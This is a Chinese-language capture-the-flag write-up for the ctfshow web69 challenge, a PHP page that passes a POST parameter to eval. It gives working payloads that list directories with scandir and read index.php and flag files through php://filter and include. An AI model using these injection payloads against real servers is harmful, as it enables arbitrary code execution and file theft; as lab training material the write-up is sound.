[ctfshow web入门] web69

信息收集

使用c=include("php://filter/convert.base64-encode/resource=index.php");读取的index.php

php 复制代码
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

解题

查目录

百度了一下有哪些打印函数,var_export能用

  • var_export() 函数输出或返回有关变量的结构化信息。
    该函数的工作方式与 var_dump() 类似,不同之处在于该函数的返回值是有效的 PHP 代码。
php 复制代码
c=var_export(scandir('.'));

或者换一个思路,用一个函数把array 转成字符串 ,因为我发现printecho没被禁用

php 复制代码
c=echo(implode(', ', scandir('.')));
c=print(join(', ', scandir('.')));

implode(separator,array):implode函数返回一个由数组元素组合成的字符串。

join(separator,array):join函数是implode函数的别名。


读文件

flag不在flag.php,和之前一样,不是本篇重点,不再截图

php 复制代码
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include("php://filter/convert.base64-encode/resource=flag.php");
php 复制代码
c=var_export(scandir('/'));
c=echo(implode(', ', scandir('/')));
c=print(join(', ', scandir('/')));
php 复制代码
c=include("php://filter/convert.iconv.utf8.utf16/resource=/flag.txt");
c=include("php://filter/convert.base64-encode/resource=/flag.txt");
c=include("/flag.txt");

web68    目录    web70

相关推荐
林恒smileZAZ5 小时前
Vue<前端页面版本检测>
前端·javascript·vue.js
码事漫谈8 小时前
当AI开始“思考”:我们是否真的准备好了?
前端·后端
许杰小刀8 小时前
ctfshow-web文件包含(web78-web86)
android·前端·android studio
我是Superman丶9 小时前
Element UI 表格某行突出悬浮效果
前端·javascript·vue.js
恋猫de小郭9 小时前
你的代理归我了:AI 大模型恶意中间人攻击,钱包都被转走了
前端·人工智能·ai编程
xiaokuangren_9 小时前
前端css颜色
前端·css
酿情师10 小时前
整数溢出漏洞详解:网络安全小白从零入门
安全·web安全
hoiii18710 小时前
C# 基于 LumiSoft 实现 SIP 客户端方案
前端·c#
anOnion10 小时前
构建无障碍组件之Meter Pattern
前端·html·交互设计
qq_2602412310 小时前
将盾CDN:威胁情报驱动的网络安全防御新范式
安全·web安全